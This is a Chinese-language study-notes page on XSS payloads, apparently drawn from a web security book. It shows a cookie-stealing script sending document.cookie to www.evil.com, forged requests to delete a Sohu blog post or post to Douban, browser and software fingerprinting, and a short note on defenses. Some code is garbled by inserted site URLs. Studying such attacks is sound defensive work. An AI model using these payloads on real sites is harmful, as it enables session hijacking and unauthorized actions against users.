首页 > 代码库 > XSS

XSS

XSS攻击成功后,攻击者能够对用户当前浏览器的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用来完成各种具体功能的恶意脚本,成为 XSS Payload

XSS Payload实际上就是JavaScript脚本,所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。

 

1、cookie劫持

 


http://www.a.com/test.html?abc=><script src=http://www.evil.com/evil.js></script>

Evil.js

Var img = document.createElement(img);

Img.src = http://www.mamicode.com/http://www.evil.com/log?+escape(document.cookie); //发送cookie到攻击端

document.body.appendChild(img);

成功前提:

Cookie没有绑定客户端信息

Cookie没有HttpOnly标识

Cookie没有绑定IP

 

 

2、构造GETPOST请求

1

目的:删除一篇博文

删除链接:

http://blog.sohu.com/manage/entry.do?m=delete&id=156713012

如何攻击:只需要知道文章的id,就可以构造该请求

XSS

Var img = document.createElement(img);

Img.src = http://www.mamicode.com/http://blog.sohu.com/manage/entry.do?m=delete&id=156713012;

document.body.appendChild(img);

只要该段代码执行,就可以执行删除的命令。

(2)发出POST请求

发表消息的包:

POST  / HTTP/1.1

Host:www.douban.com

User-Agent:Mozilla/5.0 (windows;U ;Windows NT 5.1;zh-CN;rv:1.9.2.7) Gecko/20100701

Firefox/3.6.7

Accept:...

Accept:...

Aceept:...

Aceept:...

Keep-Alive:115

Connection:keep-alive

Referer:http://www.douban.com/

Cookie:bid=xxxxxxxx.............

方法:

①构造一个form表单

Var f = document.createElement(form);

F.action = “”;

F.method=post;

document.body.appendChild(f);

 

Var i1 = document.createElement(input);

i1.name =   ck;

i1.value = http://www.mamicode.com/ JiUY;

f.appendChild(i1);

 

Var i2 = document.createElement(input);

i2.name =  mb_text;

i2.value = http://www.mamicode.com/testtesttest;

f.appendChild(i2);

 

F.submit();

②使用XMLHttpRequest

Var url = http://www.douban/com;

Var postStr = ck=JiUY&mb_text=test1234;

Var ajax = null;

If(window.XMLHttpRequest){

Ajax = new XMLHttpRequest();

}else if(window.ActiveXObject){

Ajax = new ActiveObject(Microsoft.XMLHTTP);

}

Else return;

 

Ajax.open(POST,url,true);

Ajax.setRequestHeader(Content-Type,application/x-www-form-urlencoded);

Ajax.send(postStr);

 

Ajax.onreadystatechange = function(){

If(ajax.readyState == 4 && ajax.status == 200){

Alert(Done!);

}

}

成功前提:

1.验证码:需要通过XSS发送验证码到攻击端,攻击端再将验证码的值返回给XSS

2.修改密码需要输入原密码:先要通过钓鱼得到原密码

 

3、识别用户浏览器

攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如,如果知道用户的浏览器、操作系统,攻击者就有可能实施一次精准的浏览器内存攻击。

Jsalert(navigator.usrAgent);

更精简的代码,见原书

 

4、识别用户安装的软件

IE中,可以通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。

黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

代码:

Try{

Var Obj  = new ActiveXObject(XunLeiBHO.ThunderIEHelper);

}catch(e){

//异常

}

这段代码检测迅雷的一个控件xunleiBHO.ThunderIEHelper是否存在。

通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表。

 

5、获取用户的真实IP地址

 

Js本身并没有提供获取本地IP的能力。

一般来说,XSS攻击需要借助第三方软件来完成。

比如,客户端安装了java环境,那么XSS就可以通过调用Java Applet接口获取客户端的本地IP

除了java之外,一些ActiveX控件可能也会提供接口查询本地IP

Metasploit引擎曾经展示过一个强大的测试页面,综合了Java AppletFlashiTunesOffice、等第三方软件的功能,抓取用户的细腻。

 

XSS 攻击平台==========================================

 

 

 

1、Attack API

2、BeEF

3、XSS-Proxy:一个轻量级的XSS攻击平台。

 

调试js

要想写好XSS Payload,需要有很好的js功底,调试js是必不可少的技能。

1、Firebug

2、IE 8 Developer Tools

3、Fiddler

4、Http Watch

 

 

 

XSS 的防御====================================

 

1、HttpOnly

浏览器禁止js访问带有HttpOnly属性的cookie

即使如此,也出现过利用其它特性,读取出带httponly属性的cookie

 

2、输入检查

 

3、输出检查

 

 


XSS